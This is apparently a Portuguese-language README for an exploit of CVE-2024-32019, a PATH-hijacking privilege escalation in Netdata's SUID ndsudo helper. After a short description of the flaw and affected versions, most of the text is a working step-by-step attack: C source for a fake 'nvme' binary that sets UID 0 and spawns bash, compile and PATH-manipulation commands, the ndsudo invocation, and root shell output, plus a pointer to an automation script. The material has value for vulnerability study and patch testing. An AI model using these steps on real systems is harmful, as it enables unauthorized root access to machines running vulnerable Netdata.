
CVE-2024-32019 é uma vulnerabilidade de escalada de privilégio local de alta gravidade no Netdata (versões >= 1.44.0-60 < 1.45.3), causada pelo uso inseguro da variável PATH no binário SUID ndsudo, permitindo que atacantes executem comandos arbitrários como root.
ndsudo do Netdata (LPE para Root)Um exploit baseado em Python para CVE-2024-32019, uma vulnerabilidade de Elevação Local de Privilégio de alta gravidade no Netdata Agent, que explora um binário SUID mal configurado (ndsudo) que não lida de forma segura com a variável de ambiente PATH.
[!Caution] Este código é apenas para fins educacionais e de teste autorizado. O uso não autorizado desta ferramenta contra sistemas que você não possui ou não tem permissão explícita para testar é ilegal.
CVE ID: CVE-2024-32019
Pontuação CVSS: 8.8 (Alta)
Divulgado: 12 de abril de 2024
Componente: Netdata Agent
Versões Afetadas:
>= v1.45.0, < v1.45.3>= v1.44.0-60, < v1.45.0-169A ferramenta ndsudo do Netdata é um binário SUID root destinado a executar com segurança um conjunto limitado de comandos do sistema (como nvme) em nome de usuários não-root.
No entanto, devido a uma falha de implementação, ele respeita a variável PATH controlada pelo usuário ao resolver binários de comandos. Se um atacante conseguir manipular o PATH para incluir um diretório gravável contendo um binário malicioso, o ndsudo o executará com privilégios de root — resultando em uma elevação local de privilégios.
Os passos a seguir demonstram como explorar manualmente a vulnerabilidade no ndsudo.
Salve o seguinte código C como nvme.c:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
gcc nvme.c -o nvme
mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme
PATHexport PATH=/tmp/fakebin:$PATH
which nvme
# Output: /tmp/fakebin/nvme
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
Se bem-sucedido, você obterá um shell root.
# whoami
root
Se você tiver acesso SSH, pode usar o CVE-2024-32019-dbs.py para automatizar isso.
